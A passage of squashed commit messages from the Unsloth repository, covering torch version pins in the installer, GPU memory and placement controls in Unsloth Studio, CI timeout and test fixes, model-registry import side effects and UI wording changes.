torchaudio from an exclusive --index-url, so _CUDA_TORCH_PKG_SPEC decides
exactly which torch the Studio venv gets. It was capped at torch<2.11.0, so on
a cu128/cu130 host the venv resolved torch 2.10.x even though the CUDA indexes
now publish torch 2.11.0. That left the Studio venv a torch minor behind the
torch 2.11.0 Docker base image, so the CUDA dedup step would relink base libs
under a mismatched torch.
Raise the upper bound to <2.12.0 (torchvision <0.27.0, torchaudio <2.12.0) so
the CUDA install path lands on torch 2.11.x, matching the rocm7.2 spec and the
base image. The torchao selector already maps torch 2.11 -> torchao 0.17.0, and
_ensure_flash_attn degrades gracefully when no prebuilt wheel matches (Blackwell
skips it outright; non-Blackwell prints a warning and continues), so no other
pin needs to move.
Add test_cuda_torch_spec.py to lock the bound (torch 2.11.x in, 2.12.x out) and
assert the CUDA and rocm7.2 upper bounds stay in lockstep.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* test: use zip(strict=True) so a spec length mismatch fails loudly
* install.sh: widen the CUDA torch ceiling to <2.12.0 so a fresh install matches the base
Raising _CUDA_TORCH_PKG_SPEC alone was not enough: that spec only feeds
_ensure_cuda_torch(), the ROCm-poisoning repair path that early-returns on a
normal NVIDIA host. A fresh CUDA install (including the studio Docker build,
which runs `bash install.sh --local`) takes its torch from install.sh's
TORCH_CONSTRAINT, which was still capped at torch>=2.4,<2.11.0, so cu12x/cu13x
resolved torch 2.10.x and the venv landed a minor behind the torch 2.11.0 base
image.
Extend the existing `case "$TORCH_INDEX_URL"` block (which already relaxes
rocm7.2) with a `*/cu[0-9]*` branch that widens the ceiling to <2.12.0, keeping
the >=2.4 floor so an older CUDA index (e.g. cu118) that tops out below 2.11
still resolves. The CPU wheel and older ROCm tags stay on <2.11.0 (the glob
does not match /cpu). torchvision/torchaudio are bare on this install line and
resolve their compatible companions via wheel metadata, matching the rocm7.2
pattern.
Add behavioral tests (Python + shell) exercising the case block: cu118/124/126/
128/130 widen to <2.12.0, rocm7.2 stays 2.11.x, and /cpu plus older ROCm keep
the default <2.11.0.
* install.sh: key the CUDA torch widening off the index leaf, not the full URL
The `*/cu[0-9]*` glob matched a `cu<digit>` segment anywhere in TORCH_INDEX_URL,
so a custom UNSLOTH_PYTORCH_MIRROR whose base path contains e.g. cu128 but whose
final leaf is cpu or an older ROCm tag would still widen TORCH_CONSTRAINT to
<2.12.0, contradicting the block's own comment and letting a CPU / older-ROCm
mirror resolve torch 2.11.x. Match on _torch_index_leaf (the final path segment
the backend classification just above already computes) so only a real cu*/
rocm7.2 leaf is affected; cpu and older ROCm keep the default <2.11.0. Update
the Python + shell tests to mirror the leaf-anchored case and add regression
cases for a mirror base that contains cu128 but resolves to a cpu / rocm7.1 leaf.
* install: freeze the torch trio during the with-deps unsloth installs
Released unsloth wheels can pin an older torch than Step 1 installed
(unsloth 2026.7.2 declares torch<2.11.0), so the with-deps resolve from
PyPI silently downgrades the pinned +cuXXX torch trio to PyPI's default
wheel. The flavor guard cannot catch every such swap: PyPI's torch 2.10
default is itself cu128-flavored, so the cuXXX tag comparison still
matches while the version silently drops. Freeze the just-installed trio
with uv --overrides (overrides replace dependency requirements during
resolution), keeping torch 2.11.0+cuXXX in place while unsloth's other
dependencies resolve normally. Verified on the cu128 path: without the
override torch drops 2.11.0+cu128 -> 2.10.0; with it the trio survives
and unsloth 2026.7.2 + unsloth-zoo install cleanly.
* install: fold UV_OVERRIDE env files into the torch-trio overrides file
The CLI --overrides flag is the command-line form of UV_OVERRIDE, so
passing it replaced any overrides file already exported for the process;
macOS arm64 exports UV_OVERRIDE=overrides-darwin-arm64.txt for the same
generic install path and would have lost those pins. Concatenate any
UV_OVERRIDE files into the temp trio file so both keep applying.
* install: extend the torch-trio overrides guard to migrated installs
Four follow-ups to the Step-2 --overrides guard, all empirically verified:
1. The migrated-environment with-deps unsloth install resolved
unsloth>=2026.7.2 (which pins torch<2.11.0) without the overrides file,
so a migrated CUDA venv on torch 2.11 was silently downgraded -- the
exact bug this branch fixes on the fresh path. The overrides build is
now a function (_build_unsloth_torch_overrides, reading the trio
installed at call time) invoked by both with-deps paths; the migrated
no-torch path installs --no-deps and stays unguarded.
2. The overrides temp file is now cleaned by the EXIT trap (same pattern
as _UV_OVERRIDE_TMPDIR, pre-initialized empty so an inherited value can
never reach the trap's rm); previously any Step-2 failure leaked it.
3. Folding UV_OVERRIDE files used cat, which joins the last requirement of
a file lacking a trailing newline onto the next file's first requirement
(reproduced: idna==3.10certifi==2025.1.31 makes uv fail parsing).
4. Inherited torch/torchvision/torchaudio override lines are now filtered
out when folding: uv intersects duplicate overrides rather than
last-wins (verified on uv 0.10.12: direct conflict is unsatisfiable,
transitive conflict silently backtracks), so a conflicting inherited
trio pin would break the resolve the generated exact pins protect.
Both 3 and 4 are handled by a single newline-terminating awk filter
that preserves non-trio overrides (torchmetrics, torchao, ...).
test_unsloth_torch_override.sh extended: migrated-path coverage, trap
assertion, and a functional fold test (14 checks).
* installer: tighten comments
* install: keep the existing torch release when re-running the installer
Re-running `curl -fsSL https://unsloth.ai/install.sh | sh` over an existing
install rebuilds the venv for clean state, which silently moved users to the
newest torch in range (2.10 -> 2.11 once the constraint widened). A torch the
user already validated must survive an unsloth update.
Before the old venv is moved aside for rollback, its torch version is probed
(last stdout line only, so sitecustomize noise cannot corrupt it). After the
index leaf is chosen, _previous_torch_pin turns that version into a
torch==X.Y.Z pin, but only when it cannot do harm:
- cu*/cpu leaves only; rocm leaves keep their floors (rocm7.2 must land 2.11
for the Strix _grouped_mm fix) and the Radeon wheel-matching path is
untouched.
- The wheel's flavor tag must match the freshly chosen leaf, so a flavor
change (cpu -> cuda, cu126 -> cu130) still installs the correct new build.
- The base must look like a release, so probe noise never becomes a pin.
- UNSLOTH_TORCH_UPGRADE=1 opts out and restores the old always-newest
behavior; the substep line advertises it.
The supported range is kept in _PREV_FALLBACK_CONSTRAINT: if the exact
release is not resolvable from the chosen index (custom mirrors prune old
wheels), the install warns and falls back to the newest supported release
instead of failing the whole run. The later flavor-mismatch repair reuses
TORCH_CONSTRAINT, so a mid-install clobber is repaired back to the kept
release rather than the newest one.
Verified end to end: a venv seeded with torch 2.10.0+cu130 re-run through the
full installer finishes with torch 2.10.0+cu130 (previously 2.11.0+cu130).
Tests: tests/sh/test_previous_torch_pin.sh covers keep/flavor-change/rocm/
noise/opt-out plus wiring (probe ordering before venv replacement, fallback
present, SKIP_TORCH gate).
* install: constrain kept torch pins to the supported window
Review caught that _previous_torch_pin pinned the previous venv's torch on
flavor match alone, so a release outside the installer's active range (a
2.3.x manual install below the >=2.4 floor, or a 2.12.x manual upgrade above
the ceiling) replaced the bounds computed just above it and a rerun kept a
torch the installer otherwise deliberately excludes.
New _torch_release_in_window checks the probed base against the active
TORCH_CONSTRAINT ("torch>=A.B[,<C.D.F]") at major.minor granularity, which
is exact for the windows this script uses (ceilings are always X.Y.0; a
non-.0 ceiling would only make it conservative). Anything unparseable
answers no, so probe noise or a malformed window fails toward the supported
range instead of becoming a pin. _previous_torch_pin takes the active
constraint as a third argument and refuses out-of-window releases; the
in-window keep behavior is unchanged.
Tests: out-of-window rows (2.3.x floor, 2.12.x ceiling, boundary keeps, cpu
and macOS windows, malformed/empty windows) plus direct
_torch_release_in_window coverage.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Raise the opencode invoke timeout in Local Agent Guides CI
The connection (opencode) cell flakes with a 600s timeout reported as guide drift, but it is not a hang: in a passing run the same opencode run finishes in ~482s (08:12:31 to 08:20:33), right against the shared AGENT_INVOKE_TIMEOUT of 600s, so about one run in six drifts past the cap.
opencode is the slow outlier. The print-mode agents (claude -p, codex exec) run one turn against a minimal injected system prompt, while opencode run runs its own full turn with opencode's large system prompt plus a separate small_model call to name the session (start.py pins small_model to the same 4B the server hosts). On a CPU-served gemma-4-E4B that is about 8 minutes, leaving no margin under 600s.
Double opencode's per-invoke timeout in agent-guides-drive.sh and keep the tight 600s cap for the fast agents, so a genuine headless-TTY hang still fails quickly. 1200s stays well under the 40-minute job budget.
* Normalize the agent invoke timeout before doubling it for opencode
Strip an optional trailing 's' from AGENT_INVOKE_TIMEOUT so the opencode
arithmetic, and the "${TIMEOUT}s" timeout message, stay valid if a
timeout(1)-style suffix is ever configured.
* Only double the opencode timeout for a bare-integer seconds value
Guard the arithmetic so a GNU timeout(1) duration suffix (s/m/h/d, including
floats like 0.5s) is passed through unchanged instead of breaking the
expansion; timeout(1) parses those directly. Bare seconds still double.
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Studio: GPU memory dropdown — llama.cpp --fit on and manual gpu-layers/cpu-moe
* Studio: simplify GPU memory changes (reuse ParamSlider, GPU_LAYERS_ALL, loadedGpuMemoryFields helper)
* Studio: GPU picker — choose which GPUs a GGUF model loads on (gpu_ids)
* Studio: simplify GPU picker (share /api/system fetch, validate gpu_ids)
* Studio: GPU picker review fixes (gate relative indices, no cross-model leak, validate, types)
* Studio: group GPU controls under a collapsible GPU section
* Studio: GPU feature review fixes (fix fit-ctx test, behavior-test the floor, comment accuracy)
* Studio: make GPU a top-level settings section (not nested under Model)
* Studio: flatten GPU controls into the Model section, group by GPU/context/generation
* Studio: move GPU Memory to the bottom of Model with its dependent controls beneath it
* Studio: move GPU Memory below Tensor Parallelism and GPUs below GPU Memory
* Studio: tighten GPU Memory and GPU Layers tooltip copy
* Studio: fix fit-mode context slider track-click, restore GPU Memory tooltip, shorten fit dropdown label
* Studio: GPU Memory tooltip one mode per line, briefer
* Studio: note HIP_VISIBLE_DEVICES (ROCm) in the GPUs picker tooltip
* Studio: narrow the GPU Memory dropdown to fit the shortened label
* Studio: use 'llama.cpp --fit' in the GPU Memory tooltip for consistency
* Studio: allow Tensor Parallelism in Manual GPU mode
* Studio: graduated MoE-on-CPU offload (--n-cpu-moe) replacing the all-or-nothing toggle
* Studio: size the MoE-offload slider for staged (deferred-load) models
* Studio: share one GGUF header walk for the context-length and MoE-count readers
* Studio: size the GPU Layers slider for staged models (one staged-header read)
* Studio: move Tensor Parallelism below the GPUs picker
* Studio: GPU split (--tensor-split) per-GPU model share in Manual mode
* Studio: tolerate whitespace in GPU split input, move it below GPU Layers
* Studio: rename the GPU split control to "Split ratio"
* Studio: Split ratio sends explicit even input; fix blank=free-VRAM (not even) copy
* Studio: tighten llama.cpp --fit VRAM margin with --fit-target 512
* Studio: GPU memory review fixes (rollback re-baseline, single-GPU TP gate, accurate copy)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: move Split ratio below MoE Layers on CPU
* Studio: address PR review (fix GPU-info hydration race, share fit context-length across load paths)
* Studio: address codex review (manual single-GPU TP guard, GPU-aware spec defaults in fit/manual, GGUF-only context/preference)
* Studio: address codex review round 2 (gpu_present seed, single-GPU tensor-split guard, staged manual-knob reset, strip inherited offload flags)
* Studio: address codex review round 3 (strip inherited --n-cpu-moe, CPU-fallback warning in Manual mode)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: address codex review round 4 (preserve pinned fit context across a later Apply)
* Studio: address codex review round 5 (honor GPU picker for diffusion GGUFs, clear fit pin on cross-model switch)
* Studio: preserve the pending GPU Memory mode when staging a model
* Studio: pin diffusion GPU device order and reset GPU-memory state for diffusion loads
* Studio: address codex review round 6 (fit-Auto rollback context, preserve manual non-tensor split modes, persist GPU mode on load not select)
* Studio: persist the applied GPU Memory mode, not the requested one (skip diffusion loads)
* Studio: replace Manual-mode split-ratio field with per-GPU layer sliders
* Studio: clarify per-GPU layer split hint for tensor-parallel mode
* Studio: address codex review round 7 (allow GGUF gpu_ids past the legacy guard, replay GPU-memory fields on respawn)
* Studio: address codex review round 8 (size the validate preflight like the load in fit mode, across both load paths)
* Studio: skip the training-OOM guard for llama.cpp --fit GGUF loads (they spill to RAM)
* Studio: drop the now-redundant compare-path validate sizing (the --fit guard skip makes it moot)
* Studio: address codex review round 9 (keep the training guard for fit loads, forward gpu_ids to validate, strip inherited manual tensor-split)
* Studio: address codex review round 10 (gate GPU-memory adoption on is_gguf, record manual knobs only in Manual mode)
* Studio: handle diffusion GGUFs symmetrically in the GPU Memory controls (preserve the standing mode preference, hide the inapplicable mode/TP controls)
* Studio: remember the GPU Memory settings per model
* Studio: consolidate --fit mode and Manual mode into a single Manual mode
* Studio: preserve the per-GPU layer split across GPU Layers changes
* Studio: trim overly long GPU Memory comments
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* address GPU memory config review comments
* trim redundant GPU memory tests
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reconcile manual-mode TP drops with the #6659 drop-site invariants
* Preserve quantized KV in manual --fit, charge GGUF companions in full, reconcile GPU pick on load
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Clear stale GPU baseline on non-GGUF loads so it can't read as dirty
* Fix no-context-shift test for the conditional -c flag
* Credit manual GPU-layer offload for cached HF GGUFs
* Reset per-model load knobs on GGUF quant switch
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Strip inherited tensor-split when manual ratio is cleared
* Match auto-load validation to safetensors placement
* Reset editable manual knobs after Auto GGUF loads
* Record a single device for diffusion GPU picks
* Reset per-model GPU knobs before applying saved settings
* Address review comments
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Guard manual tensor splits and keep remembered context on auto-load
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Snapshot compare knobs, seed splits from free VRAM, flag zero-offload loads
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Exempt CPU-only loads from the guard floor and harden compare and reseed paths
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reach full offload from the layers slider and charge extras drafters in the guard
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Warm the GPU device cache before pick reconciles and disable staged GPU controls
* Align the training guard with inherited extras, spec mode, and compare targets
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Hide GPUs from companion-less zero-offload loads
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Size diffusion picks per device, own manual offload flags, reject XPU picks
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop tensor flags at zero layers and exempt CPU-pinned drafters
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Allowlist the zero-layer tensor parallel drop site
* Keep validate and load guards on the same extras and refresh stale baselines
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop mismatched manual tensor splits before launch
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate XPU picks on the real backend field and harden split and hydration paths
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Weight full GPUs as zero, clamp split shares, and refine the zero-layer mask gate
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Carry fit context across mode changes and align drafter and picker gates
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Catch variant switches, uncached diffusion repos, and text-only mmproj skips
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Check companions on the first device and size native and remote zero-layer loads
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Replace the training guard's precise VRAM modeling with a conservative bound
* Baseline context pins on non-GGUF hydration and reprobe list-seeded staged GGUFs
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Size manual splits by their largest share and preserve resolved context from Default
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Default-deny unsized required companions and price KV at the effective cache dtype
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reserve MTP draft KV and MLA target-copy in the training guard
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Size tensor-parallel loads per device and show GPU controls for native GGUFs
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reserve MTP overhead for uncached remote GGUFs and the mmproj runtime factor
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop the training-coexistence VRAM estimation this PR added
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate remembered load settings to GGUF picks
* Lock the remaining load-time controls during a staged load
* Clear the stale native-path token on compare loads
* Drop a stale guard reference from the zero-offload masking comment
* Seed GPU baselines from the rollback response and drop never-emitted offload flags
* Match validate's training guard to load and keep the native reload token
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim verbose GPU-memory comments
* Thread the variants header walk off the event loop, honor device pins on zero-offload, and hold staged GPU edits
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Honor manual placement and classify pinned zero-offload loads
* Close diffusion admission and status hydration gaps
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Check the actual diffusion GPU during training
* Align staged baselines and manual reload dedupe
* Fix GGUF placement and rollback state
* Harden manual GGUF placement boundaries
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Remove unused resolve_tensor_parallel import in llama_cpp.py
The name is used only in llama_server_args.py, routes/inference.py, and tests,
not in llama_cpp.py; the unused hoisted import trips the import-hoist verifier
in the source-lint CI job.
* Fix diffusion GPU dedup and training guard for non-numeric device tokens
The diffusion runner drives only its single lowest device and the backend
records that one device (self._gpu_ids = [sorted(gpu_ids)[0]]), but the reload
dedupe compared it against the full requested list, so a multi-GPU pick that
resolves to the same device forced a needless reload. Normalize the request the
same way for a loaded diffusion model in both _already_in_target_state and the
route _request_matches_loaded_settings.
The chat-during-training coexistence guard called int() on the single-device
token and hard-rejected when it could not parse. A non-numeric token (a CUDA
UUID / MIG handle) now sizes against the whole visible pool like the GGUF guard
instead of falsely blocking the load, and an empty token (a CPU-only runner such
as a CPU diffusion GGUF) is allowed outright since it uses no GPU VRAM.
* Tighten comments added by the GPU memory config changes
* Harden GGUF placement from independent review: VRAM sizing, diffusion TP reset, tensor_split validation
- Training coexistence guard: a single-device runner pinned through an
unresolvable UUID/MIG token was sized against the aggregate visible-VRAM pool,
so a load could pass on capacity it cannot use and then OOM active training.
Size against the worst-case visible device (min free) instead, keeping the
guard's documented default-deny contract. The empty-token (CPU-only runner)
allow path is unchanged.
- Diffusion startup: _start_diffusion_server now resets self._tensor_parallel to
False alongside the other placement resets. A prior tensor-parallel chat load
(process killed but not fully unload-reset) otherwise left /status misreporting
tensor parallelism and made an identical diffusion re-Apply reload against the
stale state.
- tensor_split: reject negative / non-finite / all-zero splits up front. They
were dropped at launch but still compared raw in the reload dedupe, so an
identical Apply reloaded indefinitely.
- Tests: the shared httpx stub was incomplete and, installed via setdefault
before real httpx loaded, broke a combined pytest run (collection errors on
httpx.Response). Import the real installed httpx instead.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* test(version-compat): keep GRPO fake-run logits finite on CPU
The GRPO fake-run test samples completions from a tiny untrained model on
CPU. Such a model can emit non-finite logits, so torch.multinomial inside
generate() intermittently raises "probability tensor contains either inf,
nan or element < 0" -- a nondeterministic sampling failure, not a regression
(the Trainer already fixes the seed, but CPU reduction order is not
bit-reproducible). Add a forward hook that sanitizes the LM head logits to a
finite bounded range before sampling, so the fake run reliably exercises the
whole train loop; the test checks the loop runs, not the numerics.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* test(version-compat): drop redundant nan_to_num bounds (clamp handles them)
* test(version-compat): scope GRPO finite-logits guard to the GRPO test
Only test_grpo_trains_on_cpu autoregressively samples completions, so it is
the only canary that can hit the non-finite-logits torch.multinomial crash.
Move the _guard_finite_logits hook out of the shared _load_plain() and into
test_grpo_trains_on_cpu so the SFT and DPO canaries keep asserting against the
model's true, unclamped logits.
---------
Co-authored-by: Daniel Han <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* studio: show the active run's saved config in the Training Progress popover
The Training Config popover on the live Training Progress page read the
editable form store (useTrainingConfigStore), so it showed stale/static values
whenever the form changed after the run started; only the History view read the
run's saved config snapshot, which is why re-opening the same run from Recents
showed the correct values (#6853).
Wire the live view to the same authoritative source History already uses:
- Extract History's field mapping into sections/run-config-override.ts
(mapRunConfigToOverride) so both views share one mapper over
GET /api/train/runs/{id} config.
- LiveTrainingView fetches the run record as soon as the job id is known and
passes the mapped override to ProgressSection; the fetched config is keyed
by job id, and until it loads (or if the fetch fails) the form store remains
the fallback. The run record is created at job start, so it is available
while the run is live.
- ProgressSection prefers configOverride whenever one is present instead of
only when isHistorical, so the live override takes effect.
Adds a source-level regression test pinning the wiring and the mapper's
backend config keys.
Fixes#6853
* studio: retry the run-config fetch after the first step, carry the saved method
Two review fixes on the live Training Config popover source:
1. The backend creates the run row only on the first progress event, so the
fetch issued as soon as the job id appeared commonly 404'd during
model/dataset preparation and never retried -- leaving the popover on the
form store for the whole run. The effect is now also keyed on
firstStepReceived (and skips once resolved for the job), so it re-fetches
exactly when the row is guaranteed to exist.
2. The popover's method label and LoRA-row visibility came from
viewData.trainingMethod, still read from the editable form store; changing
the form (e.g. LoRA -> Full) after starting a run relabeled it and hid its
saved LoRA rows. The run-config mapper now derives trainingMethod from the
snapshot's training_type/load_in_4bit (via parseBackendTrainingMethod, now
exported from the feature index) and the live view prefers it.
* studio: fetch the run config on a terminal phase too, not just the first step
The live config-popover fetch was keyed on firstStepReceived, which the runtime
store sets only when step > 0. A run that fails or completes during preparation
(before step 1) creates and finalizes its row from the terminal error/complete
event, but neither the job id nor firstStepReceived changed, so the fetch never
ran and the popover stayed on the editable form store -- showing the wrong
config/method if the form was edited afterward (Configure re-enables on failure).
Gate the fetch on a runRowReady signal = firstStepReceived OR a terminal phase
(completed/error/stopped), the states in which the backend guarantees the row
exists. This also stops the earlier fetch-then-404 churn during preparation and
lets the effect depend only on values it reads (no lint suppression needed).
* studio: retry the run-config lookup and accept a hydrated step as row-ready
Two ways the popover could stay stuck on the editable form store for a whole
run:
- The backend publishes the progress event that reveals the run before
create_run commits, so the first lookup can lose that race and 404. The catch
changed neither runRowReady nor fetchedRunConfig, leaving every effect
dependency identical, so no further attempt was ever made for that job. The
failure path now schedules an explicit retry, bounded and keyed by job id, so
a genuinely absent row falls back to the form store instead of polling.
- A run recovered through status/metrics polling (SSE unavailable or blocked)
has currentStep restored by applyStatus/applyMetrics but never
firstStepReceived, and the phase stays training, so the row was treated as
not ready even at step > 0. currentStep > 0 is now a readiness signal of its
own.
* studio: fetch the saved run config as soon as the job id exists
start_training() inserts the run row before the pump can consume any event --
deliberately, so the run appears in history during model loading -- and /status
exposes the job id throughout the pre-step phases. Gating the lookup on a first
step or a terminal phase therefore held the popover on the editable form store
for the whole configuring/loading/downloading window, which on a long model or
dataset load is minutes, and indefinitely for a run adopted from another client.
The job id is now the entire readiness condition; the existing bounded retry
still covers the instant before the insert commits.
* Fix Training Config popover fallback for history runs without a saved config; tighten popover comments
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
* fix(registry): don't register deepseek models at import time
`_deepseek.py` called `register_deepseek_models(include_original_model=True)`
at module scope, so merely importing `unsloth.registry` registered models
(and reached the hub via `list_models`) as a side effect. None of the other
five families (`_gemma`/`_llama`/`_mistral`/`_phi`/`_qwen`) do this; they only
register when `register_models()` asks them to.
Two consequences:
- Importing the registry populated MODEL_REGISTRY on its own (32 entries,
including 10 `deepseek-ai` original models that no other family leaks) and
did network I/O at import time.
- Because the import-time call set the `_IS_DEEPSEEK_*_REGISTERED` guards with
`include_original_model=True`, the later `register_models()` call (which uses
the default `include_original_model=False`) early-returned, so the
original-model set won permanently.
Remove the stray module-level call. The `if __name__ == "__main__"` block below
still registers with `include_original_model=True` for standalone use, so the
generator script is unaffected.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* test(registry): make import-side-effect test pass on CPU-only runners
The new test spawned a fresh `python -c "import unsloth.registry"` that did
not inherit tests/conftest.py's GPU-free harness, so on no-accelerator CI
runners the child raised NotImplementedError from unsloth_zoo.device_type
before printing REGISTRY_SIZE. With check=True this surfaced only as an
opaque CalledProcessError, turning the "Repo tests (CPU)" job red even
though the registry fix is correct.
Import this directory's conftest inside the child first so it applies the
same device_type stubs and torch.cuda probe patches. Also use check=False
and include the child stdout/stderr in the assertion message so a future
import regression is legible instead of an opaque non-zero exit.
* test(registry): assert register_models() leaks no upstream originals
Adds a fresh-interpreter test that register_models() registers only
unsloth-org models (deepseek still present via the normal path) and never
leaks the upstream deepseek-ai originals that the import-time guard poisoning
used to leak (129 -> 139). Factors the conftest-harness subprocess runner
into a shared helper reused by both registry import tests.
---------
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <unslothai@gmail.com>
* Studio: hide infra models from the hub cached inventory
The hub inventory scans behind /api/hub/cached-gguf and /api/hub/cached-models
returned the llama.cpp install validation probe (ggml-org/models) and the RAG
embedder (unsloth/bge-small-en-v1.5[-GGUF]) as on-device models. Share the
hidden-model check from routes/models.py via utils/models/hidden_models.py and
apply it in both scans. A GGUF infra repo stays visible when the user
explicitly downloaded a variant through the Hub, since variant manifests only
exist for user-initiated downloads.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make On Device trust the hub inventory, match repo ids exactly, lighten the hidden-model import
Follow-up on the hub cached-inventory hidden-model change, addressing the review.
On Device now trusts the Hub inventory API for cached rows. The backend already
hides the RAG embedder and the llama.cpp probe and re-includes a GGUF infra repo
once the user downloads a variant through the Hub, but the frontend was
re-hiding it by repo id, so the user-downloaded variant never appeared in the On
Device list or the count. isVisibleInventoryRow now short-circuits cached rows
(kind === "cache") to visible and keeps client-side needle hiding only for local
filesystem rows and Discover.
is_hidden_model matches Hub repo ids exactly (case-insensitive) against the probe
plus the effective embedder and its GGUF companion, instead of substring
matching the configured-embedder basename. A custom embedder with a generic
basename like org/model no longer hides unrelated cached repos such as
user/model-chat or org/model-instruct. The probe filename and local-path
embedders keep exact matching.
The helper moves to utils/hidden_models.py and is imported at module scope in the
hub cache scanner, so it no longer pulls in utils/models/__init__ (the eager
model-config/checkpoint stack) and a broken import fails at startup instead of
being swallowed per-repo and silently emptying the inventory. routes.models
keeps the _is_hidden_model and _safe_resolve aliases and drops the unused
_HF_REPO_ID_RE re-export that was failing source lint.
Tests: exact repo-id matching with a custom embedder, the cached-models scan
keeping an unrelated repo, and a clean-interpreter check that the helper imports
without the model-config stack.
* Studio: match the llama.cpp probe filename on both path separators
The hidden-model check compared the probe's on-disk filename with
Path(value).name, which on a POSIX interpreter does not split a Windows-style
path ("...\stories260K.gguf") and would let the probe through. Split on both
separators so the probe is matched regardless of which OS produced the path,
matching the tolerance of the previous substring check. Adds a Windows-path
assertion to the probe test.
* Studio: harden hidden infra model handling
* Fix hidden cache row confirmation
* Fix hidden local rows and confirmed hint merges
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Handle snapshot-configured hidden models
* Hide basename-only default embedders
* Fix dynamic embedder inventory filtering
* Studio: hide the configured RAG embedder from Discover and feed rows
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: Daniel Han <23090290+danielhanchen@users.noreply.github.com>
* Replace standalone Studio wording with Unsloth
Replace the single word Studio with Unsloth wherever it is used as
shorthand for Unsloth Studio in docs, CLI output, UI strings, i18n
locales, workflow display names, comments and docstrings.
Kept unchanged: the full name Unsloth Studio, third party product
names (LM Studio, Visual Studio, Mac Studio), feature names
(Recipe Studio, Fine-tuning Studio and its translations), and all
identifiers such as env vars, commands, paths and filenames.
* Address review feedback on the Studio wording rename
Use "an" before Unsloth where the rename left the article as "a".
Restore the split brand where Unsloth and Studio render as two halves
of the full product name: the onboarding sidebar subtitle and the
IPv6 localhost warning. Scope two messages to the full name Unsloth
Studio where plain Unsloth was misleading: the AMD README bullet and
the CLI studio setup error.
* Studio: enforce 60s minimum on idle auto-unload TTL (0 stays off)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop decorative section separator from idle TTL floor tests
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
The pip scan-packages studio shard is red on main and on every open PR:
the baselined fastapi finding (the benign SSE keepalive `while True:`
loop in fastapi/routing.py, reviewed and suppressed long ago) records
its evidence at L586 with the span digest of the fastapi release current
